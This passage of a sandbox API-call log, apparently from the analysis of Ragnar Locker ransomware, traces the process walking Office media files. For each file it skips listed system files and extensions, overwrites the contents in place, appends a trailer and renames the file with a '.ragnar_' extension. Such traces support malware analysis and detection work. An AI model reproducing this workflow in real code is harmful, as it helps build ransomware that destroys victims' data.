lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.769] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.769] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.769] GetProcessHeap () returned 0x580000 [0095.769] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.769] CloseHandle (hObject=0x104) returned 1 [0095.769] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" [0095.769] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.ragnar_FD7BD9FC" [0095.769] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.770] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251871.WMF", cAlternateFileName="")) returned 1 [0095.770] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.770] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0251871.WMF" | out: lpString1="J0251871.WMF") returned="J0251871.WMF" [0095.770] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF") returned=".WMF" [0095.770] lstrcmpiW (lpString1="J0251871.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.770] lstrcmpiW (lpString1="J0251871.WMF", lpString2="autorun.inf") returned 1 [0095.770] lstrcmpiW (lpString1="J0251871.WMF", lpString2="boot.ini") returned 1 [0095.770] lstrcmpiW (lpString1="J0251871.WMF", lpString2="bootfont.bin") returned 1 [0095.770] lstrcmpiW (lpString1="J0251871.WMF", lpString2="bootsect.bak") returned 1 [0095.770] lstrcmpiW (lpString1="J0251871.WMF", lpString2="bootmgr") returned 1 [0095.770] lstrcmpiW (lpString1="J0251871.WMF", lpString2="bootmgr.efi") returned 1 [0095.770] lstrcmpiW (lpString1="J0251871.WMF", lpString2="bootmgfw.efi") returned 1 [0095.770] lstrcmpiW (lpString1="J0251871.WMF", lpString2="desktop.ini") returned 1 [0095.771] lstrcmpiW (lpString1="J0251871.WMF", lpString2="iconcache.db") returned 1 [0095.771] lstrcmpiW (lpString1="J0251871.WMF", lpString2="ntldr") returned -1 [0095.771] lstrcmpiW (lpString1="J0251871.WMF", lpString2="ntuser.dat") returned -1 [0095.771] lstrcmpiW (lpString1="J0251871.WMF", lpString2="ntuser.dat.log") returned -1 [0095.771] lstrcmpiW (lpString1="J0251871.WMF", lpString2="ntuser.ini") returned -1 [0095.771] lstrcmpiW (lpString1="J0251871.WMF", lpString2="thumbs.db") returned -1 [0095.771] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.771] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.771] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.771] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.771] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.771] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.771] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf")) returned 0x20 [0095.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.771] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4658) returned 1 [0095.771] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.771] GetProcessHeap () returned 0x580000 [0095.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.772] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.773] VirtualAlloc (lpAddress=0x0, dwSize=0x1232, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.773] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.773] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.773] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1232, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1232, lpOverlapped=0x0) returned 1 [0095.774] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.774] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1232, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.774] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1232, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1232, lpOverlapped=0x0) returned 1 [0095.774] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1232, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.775] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.775] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.775] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.775] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.775] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.775] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.775] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.775] GetProcessHeap () returned 0x580000 [0095.775] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.775] CloseHandle (hObject=0x104) returned 1 [0095.775] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" [0095.775] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.ragnar_FD7BD9FC" [0095.775] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.776] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251925.WMF", cAlternateFileName="")) returned 1 [0095.776] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.776] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0251925.WMF" | out: lpString1="J0251925.WMF") returned="J0251925.WMF" [0095.776] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF") returned=".WMF" [0095.776] lstrcmpiW (lpString1="J0251925.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.776] lstrcmpiW (lpString1="J0251925.WMF", lpString2="autorun.inf") returned 1 [0095.776] lstrcmpiW (lpString1="J0251925.WMF", lpString2="boot.ini") returned 1 [0095.776] lstrcmpiW (lpString1="J0251925.WMF", lpString2="bootfont.bin") returned 1 [0095.776] lstrcmpiW (lpString1="J0251925.WMF", lpString2="bootsect.bak") returned 1 [0095.776] lstrcmpiW (lpString1="J0251925.WMF", lpString2="bootmgr") returned 1 [0095.776] lstrcmpiW (lpString1="J0251925.WMF", lpString2="bootmgr.efi") returned 1 [0095.776] lstrcmpiW (lpString1="J0251925.WMF", lpString2="bootmgfw.efi") returned 1 [0095.777] lstrcmpiW (lpString1="J0251925.WMF", lpString2="desktop.ini") returned 1 [0095.777] lstrcmpiW (lpString1="J0251925.WMF", lpString2="iconcache.db") returned 1 [0095.777] lstrcmpiW (lpString1="J0251925.WMF", lpString2="ntldr") returned -1 [0095.777] lstrcmpiW (lpString1="J0251925.WMF", lpString2="ntuser.dat") returned -1 [0095.777] lstrcmpiW (lpString1="J0251925.WMF", lpString2="ntuser.dat.log") returned -1 [0095.777] lstrcmpiW (lpString1="J0251925.WMF", lpString2="ntuser.ini") returned -1 [0095.777] lstrcmpiW (lpString1="J0251925.WMF", lpString2="thumbs.db") returned -1 [0095.777] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.777] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.777] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.777] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.777] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.777] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.777] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf")) returned 0x20 [0095.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.778] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4534) returned 1 [0095.778] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x11ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.778] GetProcessHeap () returned 0x580000 [0095.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.778] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.780] VirtualAlloc (lpAddress=0x0, dwSize=0x11b6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.780] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.780] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.780] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11b6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x11b6, lpOverlapped=0x0) returned 1 [0095.781] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.781] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11b6, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.781] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11b6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x11b6, lpOverlapped=0x0) returned 1 [0095.781] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11b6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.781] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.781] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x11b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.781] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.781] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.782] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.782] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.782] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.782] GetProcessHeap () returned 0x580000 [0095.782] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.782] CloseHandle (hObject=0x104) returned 1 [0095.782] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" [0095.782] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.ragnar_FD7BD9FC" [0095.782] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252349.WMF", cAlternateFileName="")) returned 1 [0095.783] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.783] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0252349.WMF" | out: lpString1="J0252349.WMF") returned="J0252349.WMF" [0095.783] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF") returned=".WMF" [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="autorun.inf") returned 1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="boot.ini") returned 1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="bootfont.bin") returned 1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="bootsect.bak") returned 1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="bootmgr") returned 1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="bootmgr.efi") returned 1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="bootmgfw.efi") returned 1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="desktop.ini") returned 1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="iconcache.db") returned 1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="ntldr") returned -1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="ntuser.dat") returned -1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="ntuser.dat.log") returned -1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="ntuser.ini") returned -1 [0095.783] lstrcmpiW (lpString1="J0252349.WMF", lpString2="thumbs.db") returned -1 [0095.783] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.783] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.783] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.783] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.783] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.783] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.783] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf")) returned 0x20 [0095.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.784] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5516) returned 1 [0095.784] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1583, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.784] GetProcessHeap () returned 0x580000 [0095.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.784] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.786] VirtualAlloc (lpAddress=0x0, dwSize=0x158c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.786] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.786] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.786] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x158c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x158c, lpOverlapped=0x0) returned 1 [0095.787] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.787] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x158c, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.787] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x158c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x158c, lpOverlapped=0x0) returned 1 [0095.787] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x158c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.787] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.787] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x158c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.787] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.787] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.787] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.787] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.787] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.787] GetProcessHeap () returned 0x580000 [0095.787] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.788] CloseHandle (hObject=0x104) returned 1 [0095.788] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" [0095.788] lstrcatW (in: 